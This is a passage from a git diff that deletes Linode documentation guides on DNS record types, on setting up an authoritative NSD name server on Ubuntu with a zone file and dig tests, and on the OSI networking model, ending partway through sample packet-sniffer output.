record* or *service record* matches up a specific service that runs on your domain or subdomain to a target domain. This allows you to direct traffic for specific services, like instant messaging, to another server. A typical SRV record looks like the following: - - _service._protocol.example.com SRV 10 0 5060 service.example.com - -Here's a breakdown of the elements in an SRV record: - -- **Service**: The name of the service must be preceded by an underscore (**\_**) and followed by a period (**.**). The service could be something like **\_xmpp.** -- **Protocol**: The name of the protocol must be proceeded by an underscore (**\_**) and followed by a period (**.**). The protocol could be something like **\_tcp.** -- **Domain**: The name of the domain that will receive the original traffic for this service. -- **Priority**: The first number (**10** in the example above) allows you to set the priority for the target server. You can set different targets with different priorities, which allows you to have a fallback server (or servers) for that service. Lower numbers have a higher priority. -- **Weight**: If two records have the same priority, weight is used instead. -- **Port**: The TCP or UDP port on which the service runs. -- **Target**: The target domain or subdomain. This domain must have an A or AAAA record that resolves to an IP address. - -An example use of SRV records would be to set up [Federated VoIP](http://en.wikipedia.org/wiki/Federated_VoIP). - -### TXT - -A *TXT record* or *text record* provides information about the domain in question to other resources on the internet. It's a flexible type of DNS record that can serve many different purposes depending on the specific contents. One common use of the TXT record is to create an [SPF record](#spf) on nameservers that don't natively support SPF. Another use is to create a [DKIM record](#dkim) for mail signing. - -{{< note >}} -In common DNS Configurations using TXT records, quotation marks `"` are applied. When applying TXT records using the [Linode DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager), quotation marks `"` should not be applied in most scenarios, as they are added automatically in cases where they are needed. -{{< /note >}} diff --git a/docs/guides/networking/dns/introduction-to-dns-on-linux/index.md b/docs/guides/networking/dns/introduction-to-dns-on-linux/index.md deleted file mode 100644 index 49d4a6ada51..00000000000 --- a/docs/guides/networking/dns/introduction-to-dns-on-linux/index.md +++ /dev/null @@ -1,454 +0,0 @@ ---- -slug: introduction-to-dns-on-linux -title: "Introduction to DNS on Linux" -description: 'Learn the basics of DNS on Linux by configuring a primary name server with NSD.' -authors: ["David Robert Newman"] -contributors: ["David Robert Newman"] -published: 2023-06-09 -keywords: ['introduction to dns on linux','domain name service','linux dns server','dns server','configuring dns','install dns','flush dns'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Ubuntu: Domain Name Service (DNS)](https://ubuntu.com/server/docs/service-domain-name-service-dns)' -- '[Red Hat: How to use the Linux BIND command to install and configure DNS](https://www.redhat.com/sysadmin/dns-configuration-introduction)' ---- - -The Domain Name System (DNS) is a worldwide directory that maps names to addresses and vice versa. It also provides many other types of information about computing resources. Although the DNS operates largely hidden from view, the global Internet would not work without it. - -This guide explains what DNS is, how it works, and how to build your own authoritative name server. - -This is the first in a series of four DNS guides. Future guides cover primary and secondary name server setup, securing DNS with DNSSEC, and other security measures to address user privacy concerns. - -## What Is DNS? - -DNS is a global directory of computing resources. It can locate servers, PCs, phones, IoT devices, routers, switches, and essentially anything with an IP address. DNS also holds information linking computers to security keys, services such as instant messaging, GPS coordinates, and much more. - -DNS design is *hierarchical* and *distributed*. The diagram below illustrates both points. It shows how DNS divides all resources into domains, and delegates different levels of name servers to provide information within each domain. - -[![The DNS Hierarchy](DNS-Hierarchy_small.png "The DNS Hierarchy")](DNS-Hierarchy.png) - -At the top of the DNS tree are the root servers, usually referred to by a single dot ("."). The root servers are actually comprised of 13 different sets of servers, each operated by a different organization. They act as a starting point for all other parts of the hierarchy. - -Below the root servers are top-level domains (TLDs). Common TLDs include `.com`, `.edu`, and `.org`, but there are currently around 1,500 TLDs. - -Further down in the hierarchy are second- and third-level domains, and so on, referring to their distance from the root. The domain `example.com` is an example of a second-level domain, while `engineering.example.com` is a third-level domain. - -Regardless of level, all DNS name servers provide information about items within their domains. For example, `linode.com` name servers provide information about hostnames, addresses, mail servers, and name servers within that domain. - -## How Does DNS Work? - -DNS clients use recursion, the concept of repeating a process multiple times using information gleaned from the previous step, to learn how to locate resources. - -For example, when visiting [www.linode.com](https://www.linode.com), your system first conducts a series of recursive DNS exchanges to learn the server’s IP address before it can connect with the Linode web server. - -First, your client checks to see if it has an IP address for the Linode webserver in its local cache. If not, it asks your local DNS server. - -If the local DNS server doesn’t have an IP address in its cache, it then asks one of the root servers how to reach [www.linode.com](https://www.linode.com). The root server replies, essentially saying "I don’t know, but I see you’re asking about something in the `.com` domain. Here are some IP addresses for `.com` name servers". - -Your local DNS server then repeats its query, this time to a `.com` name server. The `.com` name server replies, "I don’t know, but I can tell you the IP addresses of name servers for [linode.com](https://linode.com)". - -The local DNS server then asks, for the third time, what IP addresses correspond to the hostname [www.linode.com](https://www.linode.com). This time, the [linode.com](https://linode.com) name servers are authorized to provide a direct answer to your question. - -A Linode name server responds with IP addresses for the Linode web server. Your local DNS server passes along that information to your client, and caches it for future use. - -Finally, your system has an IP address for the Linode web server. It can now set up a TCP connection and make an HTTP request. - -Before you could retrieve the web page, your client and the local DNS server had multiple conversations with three outside sets of DNS servers, plus your local DNS server, just to get an IP address. - -Believe it or not, that's a relatively simple example. A popular commercial site, such as a news site, has advertising and other embedded third-party content. This could require having these sets of DNS conversations several dozen times, or more, just to load a single page. - -While all this occurs in milliseconds, it underscores how critical DNS is to a functional Internet. Everything begins with a series of DNS queries. - -## Types of DNS Servers - -There are several types of DNS servers: *authoritative* (both primary and secondary), *forwarding*, and *recursive*. All three types may reside on a single server, or may be assigned to separate dedicated servers for each type. Regardless of location, these servers work cooperatively to serve DNS information. - -An authoritative server provides definitive responses for a given zone, which is a set of computing resources under common administrative control. While non-authoritative DNS servers may also store and forward answers about a zone’s contents, only an authoritative server can provide definitive answers. - -A zone may be a domain such as [linode.com](https://linode.com), but there isn’t always a 1:1 relationship between domains and zones. Authoritative servers may delegate authority to subdomains. For example, the `.com` authoritative servers delegate responsibility for `linode.com` to Linode’s name servers. In this case, `linode.com` is part of the `.com` domain, but `.com` and `linode.com` represent different zones. - -Each zone should have at least two authoritative name servers, for both redundancy and load-balancing of user queries. This guide covers setup of a primary name server. - -Both primary and secondary name servers are authoritative, and appear nearly identical to the outside world. However, secondary name servers automatically receive all zone updates from the primary name server. After initial setup, zone configuration changes only need to be made once, on the primary name server. It then automatically pushes out all updates to any secondary name servers. - -A forwarding server is one that makes external DNS requests on behalf of clients or other DNS servers. Your local DNS server, while not authoritative for most zones, is most likely either a forwarding server itself, or configured to send requests to one. When you ask for a DNS resource outside your zone, a forwarding server finds that resource. - -A recursive resolver makes DNS queries, either for itself or on behalf of other clients, and optionally caches the replies. As with any type of caching, it’s best to store information as close as possible to your client. While your local client may perform recursion, your local DNS server almost certainly does. - -By far the most common DNS server software is [Bind 9](https://www.isc.org/bind/), the open source package maintained by the Internet Systems Consortium. Bind can function as any type of DNS server. It also supports many DNS extensions that go well beyond it's original design goals. - -Because of Bind’s age and size, some users prefer smaller, more modern DNS implementations. Two of the more popular are [NSD](https://www.nlnetlabs.nl/projects/nsd/about/), an authoritative-only name server, and [Unbound](https://nlnetlabs.nl/projects/unbound/about/), a resolver that also does forwarding and caching. This guide covers authoritative name server setup using NSD. - -## Resource Records - -Before diving into setup details, familiarize yourself with the different types of information DNS can provide within a given zone. Think of DNS as a distributed database, and zones as tables within the database. *Resource records* (RR) are entries within each table. - -Each record describes a different type of information. For example, "A" records associate one hostname with one IPv4 address, while "AAAA" records do the same for IPv6. - -There are dozens of RR types; [this Linode guide](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager#add-dns-records) covers some of the most common and important ones. Most authoritative name servers need at least the following RR types: - -- [**A**](https://techdocs.akamai.com/cloud-computing/docs/a-and-aaaa-records): Maps a hostname to an IPv4 address. -- [**AAAA**](https://techdocs.akamai.com/cloud-computing/docs/a-and-aaaa-records): Maps a hostname to an IPv6 address (pronounced "quad-A"). -- [**MX**](https://techdocs.akamai.com/cloud-computing/docs/mx-records): Identifies a mail server for a given zone, and gives its priority. -- [**NS**](https://techdocs.akamai.com/cloud-computing/docs/ns-records): Identifies a name server for a given zone. -- [**SOA**](https://techdocs.akamai.com/cloud-computing/docs/soa-record): (Start of Authority) lists primary name server, administrative email contact, serial number, and default timers for a given zone. - -The above list is enough for a bare-bones setup, but other common RR types include: - -- [**CNAME**](https://techdocs.akamai.com/cloud-computing/docs/cname-records): Maps a hostname alias to a hostname defined in an A or AAAA record. -- [**PTR**](https://www.linode.com/community/questions/126/how-do-i-add-a-ptr-record): Maps an IP address to a hostname (sometimes referred to as "reverse DNS" or "rDNS"). -- [**TXT**](https://techdocs.akamai.com/cloud-computing/docs/txt-records): Provides information in text form and often aids in email security through use of [SPF, DKIM, and DMARC records](https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. This guide is for Ubuntu 22.04 LTS instances. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. Set the timezone, configure your hostname, and create a limited user account. To follow along with this guide, give your server the hostname `ns1` and configure the hosts file as follows: - - ```file {title="/etc/hosts"} - 127.0.0.1 localhost - 203.0.113.10 ns1.yourdomainhere.com ns1 - 2600:3c01::a123:b456:c789:d012 ns1.yourdomainhere.com ns1 - ``` - - Replace the example IP addresses with your Linode instance's external IPv4 and IPv6 addresses, and `yourdomainhere.com` with your domain name. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Building an Authoritative Server - -After completing the prerequisite steps above, it’s time to build a primary authoritative name server using NSD. - -{{< note >}} -It is far easier to have Linode do DNS hosting for you. Linode provides DNS service via the **Domains** item in its dashboard. The Linode graphical interface offers quick, simple setup. In contrast, running your own DNS server takes some time and regular maintenance. The benefits are more control over your DNS information, and a better understanding of the DNS protocol. -{{< /note >}} - -### Install NSD - -1. Open an SSH session to your instance and install NSD: - - ```command - sudo apt install nsd - ``` - -1. Configure the NSD control utility, `nsd-config`: - - ```command - sudo nsd-control-setup - ``` - - The output should appear as follows: - - ```output - setup in directory /etc/nsd - removing artifacts - Setup success. Certificates created. - ``` - - If not, check `/var/log/syslog` for errors. - -### The nsd.conf File - -As packaged for Ubuntu 22.04 LTS, NSD’s main configuration file (`nsd.conf`) points to other files in `/etc/nsd/nsd.conf.d`, but that directory is empty by default. - -Since the NSD documentation already includes a fully annotated sample configuration file, copy that file and work from there. The sample file lists many options with plenty of comments, making it a useful learning tool. - -1. First, gather your Linode's external IPv4 and IPv6 addresses. Follow this guide to [Find Your Linode's IP Address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance) or use the following command: - - ```command - ip a - ``` - - Identify all configured IP addresses except those on loopback interfaces or those with local-link (`fe80::`) addresses. - - ```output - 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever - 2: eth0: mtu 1500 qdisc mq state UP group default qlen 1000 - link/ether f2:3c:93:c7:0c:d5 brd ff:ff:ff:ff:ff:ff - inet 45.79.218.211/24 brd 45.79.218.255 scope global eth0 - valid_lft forever preferred_lft forever - inet6 2600:3c02::f03c:93ff:fec7:cd5/64 scope global dynamic mngtmpaddr noprefixroute - valid_lft 60sec preferred_lft 20sec - inet6 fe80::f03c:93ff:fec7:cd5/64 scope link - valid_lft forever preferred_lft forever - ``` - - In the example output above, the pertinent IP addresses are `45.79.218.211` (IPv4) and `2600:3c02::f03c:93ff:fec7:0cd5` (IPv6). - -1. Change into the `/etc/nsd/` directory and preserve the original file by creating a copy with the `.orig` extension: - - ```command - cd /etc/nsd - sudo mv nsd.conf nsd.conf.orig - ``` - -1. Now copy the original file to `/usr/share/doc/nsd/examples` and open it: - - ```command - sudo cp /usr/share/doc/nsd/examples/nsd.conf.sample nsd.conf - sudo nano /etc/nsd/nsd.conf - ``` - - Note that `nsd.conf` comments out all `ip-address` statements, meaning NSD attempts to listen on all addresses by default. - - NSD does *not* start unless you explicitly configure your system’s external IP addresses. That’s because Ubuntu’s `systemd-resolved` process already binds to TCP and UDP ports `53` on the `localhost` address. - - Since the `localhost` address is already in use, simply binding to all addresses won’t work. Because NSD is an authoritative-only name server serving external clients, it can bind to external addresses without affecting the system’s ability to resolve addresses on the `localhost` address. - -1. Uncomment two `ip-address` statements in the `server:` section of the `nsd.conf` file, substituting your system’s addresses for these examples: - - ```file {title="/etc/nsd/nsd.conf" hl_lines="26-27"} - server: - # Number of NSD servers to fork. Put the number of CPUs to use here. - # server-count: 1 - - # Set overall CPU affinity for NSD processes on Linux and FreeBSD. - # Any server/xfrd CPU affinity value will be masked by this value. - # cpu-affinity: 0 1 2 3 - - # Bind NSD server(s), configured by server-count (1-based), to a - # dedicated core. Single core affinity improves L1/L2 cache hits and - # reduces pipeline stalls/flushes. - # - # server-1-cpu-affinity: 0 - # server-2-cpu-affinity: 1 - # ... - # server--cpu-affinity: 2 - - # Bind xfrd to a dedicated core. - # xfrd-cpu-affinity: 3 - - # Specify specific interfaces to bind (default are the wildcard - # interfaces 0.0.0.0 and ::0). - # For servers with multiple IP addresses, list them one by one, - # or the source address of replies could be wrong. - # Use ip-transparent to be able to list addresses that turn on later. - ip-address: 45.79.218.211 - ip-address: 2600:3c02::f03c:93ff:fec7:0cd5 - ``` - -1. Next, move down to the file’s `remote-control:` section. Find the `control-enable` line, uncomment it, and change `no` to `yes`: - - ```file {title="/etc/nsd/nsd.conf" hl_lines="1,4"} - remote-control: - # Enable remote control with nsd-control(8) here. - # set up the keys and certificates with nsd-control-setup. - control-enable: yes - ``` - - This allows you to add, remove, and edit DNS entries using the `nsd-control` utility without having to restart the NSD server every time. - - When done, press CTRL+X then Y and Enter to save and close the file. - -1. Verify that the configuration is valid with the `nsd-checkconf` utility (you don’t need `sudo` for this): - - ```command - nsd-checkconf /etc/nsd/nsd.conf - ``` - -1. If there are no errors, restart the NSD daemon: - - ```command - sudo systemctl restart nsd - ``` - -### Creating a Zone File - -A functional authoritative name server is now set up, but it’s not yet serving any zones. This example creates a zone file for the domain `yourdomainhere.com`, substitute your domain name as appropriate. - -1. Although this guide only creates an authoritative (master) zone, create directories for master and secondary zone files anyway: - - ```command - sudo mkdir -p /etc/nsd/zones/master - sudo mkdir -p /etc/nsd/zones/secondary - ``` - -1. Now create a zone file. This zone handles all forward queries (those seeking to translate hostnames to IP addresses). - - ```command - sudo nano /etc/nsd/zones/master/yourdomainhere.com.zone - ``` - -1. Add these contents to the file, substituting your domain name and IP addresses as appropriate: - - ```file{title="/etc/nsd/zones/master/yourdomainhere.com.zone" hl_lines="1,4,12-18,20-26,28,30-31"} - $ORIGIN yourdomainhere.com. - $TTL 3600 - ;; SOA Record - @ IN SOA ns1.yourdomainhere.com. hostmaster.yourdomainhere.com. ( - 2023030701 ; serial - 3600 ; refresh (1 hour) - 900 ; retry (15 minutes) - 2419200 ; expire (4 weeks) - 3600 ; minimum (1 hour) - ) - ;; A Records - ns1 A 96.126.102.178 - ns2 A 96.126.102.178 - john A 96.126.102.179 - paul A 96.126.102.180 - george A 96.126.102.181 - ringo A 96.126.102.182 - stu A 96.126.102.180 - ;; AAAA Records - ns1 AAAA 2600:3c01:0:0:f03c:93ff:fe01:4070 - ns2 AAAA 2600:3c01:0:0:f03c:93ff:fe01:4070 - john AAAA 2600:3c01:0:1:f03c:93ff:fe01:4071 - paul AAAA 2600:3c01:0:2:f03c:93ff:fe01:4072 - george AAAA 2600:3c01:0:3:f03c:93ff:fe01:4073 - ringo AAAA 2600:3c01:0:4:f03c:93ff:fe01:4074 - stu AAAA 2600:3c01:0:2:f03c:93ff:fe01:4072 - ;; MX Records - @ MX 10 stu.yourdomainhere.com. - ;; NS Records - @ IN NS ns1.yourdomainhere.com. - @ IN NS ns2.yourdomainhere.com. - ``` - - There are a couple of things to note in the zone file: - - - First is the zone file syntax. Comments always begin with one or more semicolons (";"). Using a hash mark ("#") or any other character for comments results in a syntax error when the `nsd-checkzone` utility is run. It also causes the zone not to load. - - - Second, notice that the records for `paul` and `stu` point to the same IP addresses, as do `ns1` and `ns2`. This underscores an important aspect of DNS: one hostname can refer to many addresses, and vice-versa. It is this capability that makes virtual hosting possible. - - While `paul` and `stu` only share the same IP address for demonstration purposes, `ns1` and `ns2` sharing an IP address has actual utility. Many domain registrars require a minimum of two name servers to utilize custom DNS. Since this guide only sets up a single primary name server, having records for two name servers allows you to proceed with domain delegation. The second part of our series on DNS covers how to [set up a secondary name server on a separate Linode instance](/cloud/guides/dns-primary-and-secondary-server-setup). - - - Third, note that fully qualified hostnames always have a period appended, representing the parent zone: - - ``` - @ MX 10 stu.yourdomainhere.com. - ``` - - Omitting that final period, causes the NSD daemon to append the entire domain name, creating a pointer to a nonexistent resource (e.g. `stu.yourdomainhere.com.yourdomainhere.com`). Omitting the final period in zone files is the single most common DNS configuration error. - - Avoid this issue with the `$ORIGIN yourdomainhere.com.` macro that begins this zone file. This tells the NSD daemon to append "`yourdomainhere.com.`" to any host or domain name not ending with a period. For example, with `$ORIGIN yourdomainhere.com.` applied, these two A records are functionally identical: - - ``` - john A 96.126.102.179 - john.yourdomainhere.com. A 96.126.102.179 - ``` - - Again, note the final period when using the full form. - - When done, save and close the file. - -1. Use the `nsd-checkzone` utility to verify the zone file’s syntax: - - ```command - nsd-checkzone yourdomainhere.com /etc/nsd/zones/master/yourdomainhere.com.zone - ``` - - The NSD server should return: - - ```output - zone yourdomainhere.com is ok - ``` - - If not, the command outputs the syntax errors causing the error. - -1. Next, configure the NSD server so that it responds to queries for the newly created zone. Open the NSD configuration file again: - - ```command - sudo nano /etc/nsd/nsd.conf - ``` - -1. Towards the end of the file, uncomment the `zone:` section along with the `name:` and `zonefile:` entries. Add your domain name and zone file as shown below: - - ```file{title="/etc/nsd/nsd.conf" hl_lines="1,2,7"} - zone: - name: "yourdomainhere.com"" - # you can give a pattern here, all the settings from that pattern - # are then inserted at this point - # include-pattern: "master" - # You can also specify (additional) options directly for this zone. - zonefile: "zones/master/yourdomainhere.com.zone" - ``` - - For any additional zones you create in the future, simply repeat this step, starting with a `zone:` statement. Note that the zone file locations are relative to `/etc/nsd`, so the full pathname is not necessary. - - When done, save and close the file. - -1. Validate the configuration file’s syntax: - - ```command - nsd-checkconf /etc/nsd/nsd.conf - ``` - -1. If the server returns no errors, restart the NSD service: - - ```command - sudo systemctl restart nsd - ``` - -### Delegation at Your Registrar - -The final step is to delegate name service to the new server at your domain registrar. - -{{< note >}} -Linode is not a registrar. This step is performed at a third-party registrar such as [Dynadot](https://www.dynadot.com/account/signin.html), [GoDaddy](https://www.godaddy.com/), or [Hover](https://www.hover.com/domains). You must use the registrar where your domain is registered. -{{< /note >}} - -Every registrar’s management tool allows you to delegate DNS to one or more name servers for your domain. Usually, the registrar needs the hostname and IP addresses for each name server. Be sure to point to the new name server's hostname and IP address. - -{{< note >}} -Many domain registrars require a minimum of two name servers for custom DNS. If this is the case, simply add `ns2.yourdomainhere.com` alongside `ns1.yourdomainhere.com`, and provide the same IP address for both. -{{< /note >}} - -In theory, delegation changes can take 24-48 hours to propagate through the global Internet. However, in practice propagation usually happens much faster, often in 5 minutes or less. - -### Test Your Setup - -Test the new setup with queries for DNS resource records. One popular command line tool for this is `dig`, which is already included with Linode’s Ubuntu 22.04 LTS instances. - -Use the `-t` switch to specify which RR type you want to query. The following example asks for NS records for `yourdomainhere.com`, replace `yourdomainhere.com` with your own domain name: - -```command -dig -t NS yourdomainhere.com -``` - -The server should respond (in the "ANSWER SECTION") with the hostname of your new name server: - -```output -; <<>> DiG 9.18.1-1ubuntu1.3-Ubuntu <<>> -t NS yourdomainhere.com @ns1.yourdomainhere.com -;; global options: +cmd -;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18821 -;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2 - -;; OPT PSEUDOSECTION: -; EDNS: version: 0, flags:; udp: 1232 -;; QUESTION SECTION: -;yourdomainhere.com. IN NS - -;; ANSWER SECTION: -yourdomainhere.com. 3600 IN NS ns1.yourdomainhere.com. -yourdomainhere.com. 3600 IN NS ns2.yourdomainhere.com. - -;; Query time: 0 msec -;; SERVER: 2600:3c01::f03c:93ff:fe01:4070#53(ns1.yourdomainhere.com) (UDP) -;; WHEN: Wed Mar 08 05:53:39 UTC 2023 -;; MSG SIZE rcvd: 168 -``` - -Verbose output can be extremely useful in troubleshooting. However, if you don’t need all that detail, just add the `+short` flag to the query. Here’s the same query again with just the response: - -```command -dig +short -t NS yourdomainhere.com -``` - -```output -ns1.yourdomainhere.com. -ns2.yourdomainhere.com. -``` - -## Conclusion - -You now have a working authoritative name server. Other DNS guides cover redundancy with primary and secondary name servers, securing DNS with DNSSEC, and user privacy issues. - -DNS is the essential glue that ties together the global Internet. You can opt to use Linode’s free DNS service for cloud operations, or set up your own name server as described here. Either way, a solid understanding of the protocol puts you in ultimate charge of your domain and all resources within it. \ No newline at end of file diff --git a/docs/guides/networking/linode-network/introduction-to-osi-networking-model/index.md b/docs/guides/networking/linode-network/introduction-to-osi-networking-model/index.md deleted file mode 100644 index 9167ee1b158..00000000000 --- a/docs/guides/networking/linode-network/introduction-to-osi-networking-model/index.md +++ /dev/null @@ -1,339 +0,0 @@ ---- -slug: introduction-to-osi-networking-model -title: "An Introduction to the OSI Networking Model" -description: 'This guide introduces and explains the levels of the OSI networking model and how to interact with the network architecture.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-11-01 -keywords: ['OSI network model','OSI networking','OSI levels','networking model'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[OSI Model on Wikipedia](https://en.wikipedia.org/wiki/OSI_model)' -- '[Internet Protocol](https://en.wikipedia.org/wiki/Internet_protocol_suite)' -- '[Transmission Control Protocol](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)' -- '[User Datagram Protocol](https://en.wikipedia.org/wiki/User_Datagram_Protocol)' -- '[ITU series of X.200 recommendations](https://www.itu.int/rec/T-REC-X/en)' -- '[Ubuntu ip man page](https://manpages.ubuntu.com/manpages/jammy/man8/ip.8.html)' -- '[Ubuntu nast man page](https://manpages.ubuntu.com/manpages/jammy/man8/nast.8.html)' -- '[Ubuntu tcptrack man page](https://manpages.ubuntu.com/manpages/jammy/man1/tcptrack.1.html)' -- '[Ubuntu tcpdump man page](https://manpages.ubuntu.com/manpages/jammy/man8/tcpdump.8.html)' -- '[Wikipedia List of IEEE 802 family of standards](https://en.wikipedia.org/wiki/IEEE_802)' -- '[FileZilla](https://filezilla-project.org/)' ---- - -Computer networking is a complicated subject, with many interconnected layers and interactions. To help developers and engineers understand how the various networking components work together, several conceptual models have been developed. The [*Open Systems Interconnection*](https://en.wikipedia.org/wiki/OSI_model) (OSI) Model is a popular model that divides the networking stack into seven layers. This guide explains the OSI Model and describes each layer. It also lists the tools available for each layer and contrasts the OSI Model with the competing [*Internet Protocol suite*](https://en.wikipedia.org/wiki/Internet_protocol_suite). - -## What is the OSI Model? - -The OSI Model provides a method for understanding how end-to-end internet communications work. It deconstructs the networking process into seven layers, each representing a different step of the transmission chain. Each layer has its own function and is responsible for well-defined tasks. Most user data passes through each layer upon both ingress and egress. - -The OSI model was originally developed in the 1970s and 1980s under the oversight of the *International Organization for Standardization* (ISO). It is formalized in the ITU-T series of [X.200 recommendations](https://www.itu.int/rec/T-REC-X/en). The model is mainly conceptual in nature and models the network at a high level of abstraction. It is designed to encourage a shared consensus of network standards and interoperability. While it has never been fully applied, it has gained popularity as a good educational model. - -The OSI Model originally included a number of network protocols to implement each of the different layers. However, these protocols were determined to be too complex and difficult to implement. They also involved too drastic of a change to established practices. Therefore, they were never adopted, and protocols from the Internet Protocol (IP) suite were used instead. The standard network protocols in use today show more complexity and do not perfectly align with the OSI model. - -The seven layers are numbered from lowest to highest. The highest layer is closest to the user applications, while the lowest relates to physical transmission. User data passes sequentially from the highest layer down through the lower layers until the device transmits it externally. - -The OSI model encourages a strict encapsulation model. Data from a higher level becomes part of the lower layer message. The data packet received from the higher layer is known as a *service data unit* (SDU). The lower layer prepends a header to the SDU. In some cases, it might also append a footer. The header and footer contain information intended for the peer layer of the receiving device. After the additional information is concatenated to the original packet from the higher layer, the message is called a *Protocol Data Unit* (PDU). The PDU is designed to be processed at the same layer on the destination node. This continues until the data reaches the physical layer. At this point, it is converted to a bitstream and physically transmitted to the receiver. - -On the incoming side, the order is reversed. Traffic is first received at the physical layer. It then passes upward one layer at a time. At each layer, the receiving layer reviews the information in the header and removes the encapsulating material. If necessary, the packet is then passed to the higher layer. This process continues until the packet is completely consumed. - -## The OSI Layer Architecture - -The seven layers, from lowest to highest, are listed below. Each layer is described in a separate section later in this guide. - -1. **Physical Layer** -2. **Data Link Layer** -3. **Network Layer** -4. **Transport Layer** -5. **Session Layer** -6. **Presentation Layer** -7. **Application Layer** - -The acronym "All People Seem To Need Data Processing" can be used to remember the layers from highest to lowest. Not all data flows begin at the application layer. Lower layers negotiate automatically after they are configured, even if they are not serving any higher-layer application. Additionally, packets might only be partially processed by intermediate devices. For example, a core router examines packets at the network layer. It then forwards the packet, sending it back to the data link and physical layers to be transmitted. - -Each of the seven layers within the OSI is given its own set of responsibilities. The layers are numbered from the lowest layer, the physical layer, to the high-level application layer. Egress data passes from higher to lower layers. Ingress data is reversed and passes from the lowest layer to the upper layers. - -## Layer 1: The Physical Layer - -The lowest layer is responsible for transmitting data to another device using some type of physical medium. It handles characteristics of the physical connection between nodes. All networked devices, from high-end network routers, mobile phones, and laptops, down to simple repeaters, transmit packets using the physical layer. Therefore all devices must use physical layer technologies to communicate with other devices. The physical layer converts data packets into a signal representing a stream of bits. - -This signal can be transmitted using a variety of techniques, including electrical, optical, and wireless encoding. Some examples of physical layer technologies include Wi-Fi, Ethernet, USB, and SONET/SDH. The implementation of this layer usually happens in hardware through a chip, rather than software. Physical layer standards usually include hardware specifications for the pin layout, cable attributes, and data encoding. However some attributes might be software controlled, including physical duplex and framing. - -Physical layer protocols are responsible for implementing the following functionality: - -- Voltage levels -- Physical data rates -- Physical connector specifications -- Maximum transmission length -- Modulation or channel access -- Framing and bit stuffing -- Signal timing and frequency -- Transmission mode/duplex -- Auto-negotiation - -Many transmission standards specify details for both the physical and data link layers. The Ethernet standard is a good example. - -### Physical Layer Tools - -In a lab environment, a multimeter or oscilloscope can verify quality and compliance. In a real world setting, there is no practical way to debug physical layer problems. A trial and error process of swapping out cables, connectors, and physical ports is often required. If a cable is flakey or defective, throw it out and use another. - -## Layer 2: The Data Link Layer - -The data link layer is responsible for transferring data between two nodes that are either directly connected or lie within the same network. To send data to a different network, network layer functionality is required. Layer two protocols can often correct physical layer errors using bit correction algorithms. At the data link layer, data is transported inside a *frame*. A network switch is an example of a data link layer device. - -Layer two specifications explain how to establish a connection and transmit data to another node. The *Institute of Electrical and Electronics Engineers* (IEEE) organization defines many of the data link specifications under the [IEEE 802 family of standards](https://en.wikipedia.org/wiki/IEEE_802). Some of these standards include Ethernet, Wireless LAN, Bluetooth, and Radio, while non-802 standards include the Point-to-Point Protocol (PPP) and Frame Relay. Unlike IP addresses, layer two addresses occupy a flat addressing space. This means the addresses are not hierarchical or routable. - -The IEEE 802 specifications can be further subdivided into two sub-layers, each with their own responsibilities. - -- **Logical Link Control (LLC)**: This is the higher of the two layers. It acts as an interface between the network layer and the MAC layer. It encapsulates higher-layer protocols, and handles flow control, multiplexing, and error detection. However, some of those functions might also be handled at higher layers. -- **Medium Access Control (MAC)**: The MAC layer is closely entwined with the physical layer. The MAC layer controls network access, frame synchronization, byte/bit stuffing, and link addressing. It encapsulates data from the LLC layer into the appropriate format for the link layer protocol. It also adds and removes a frame checksum to help identify erroneous frames and implements collision detection. - -### Data Link Layer Tools - -For a complete analysis, a packet capture tool such as [Wireshark](https://www.wireshark.org/) can capture and analyze the frames. However, many Linux commands allow users to examine interface statistics for packet stats and errors. The `ip link` command displays information about the network interfaces on the server. The command output includes the state, MTU, and MAC address of the link. See the [Ubuntu ip command man page](https://manpages.ubuntu.com/manpages/jammy/man8/ip.8.html) for more information. - -```command -ip link show -``` - -{{< output >}} -1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 -2: eth0: mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000 - link/ether f2:3c:93:15:ce:03 brd ff:ff:ff:ff:ff:ff -{{< /output >}} - -The `nast` utility is a packet sniffer for use in analyzing LAN traffic. It is not pre-installed, so users must install it using `apt`. - -```command -sudo apt install nast -``` - -Run the command at the `sudo` level and terminate it using the **Ctrl+C** combination. Specify the interface to listen to using the `-i` option. The [Ubuntu nast man page](https://manpages.ubuntu.com/manpages/jammy/man8/nast.8.html) includes more details. - -```command -sudo nast -i eth0 -``` - -{{< output >}} -Sniffing on: - -- Device: eth0 -- MAC address: F2:3C:93:15:CE:03 -- IP address: 192.0.2.161 -- Netmask: 255.255.255.0 -- Promisc mode: Set -- Filter: None -- Logging: None - ----[ TCP ]----------------------------------------------------------- -192.0.2.161:22(ssh) -> 192.0.2.208:50788(unknown) -TTL: 64 Window: 501 Version: 4 Length: 112 -FLAGS: ---PA-- SEQ: 855325394 - ACK: 3719741052 -Packet Number: 1 - ----[ 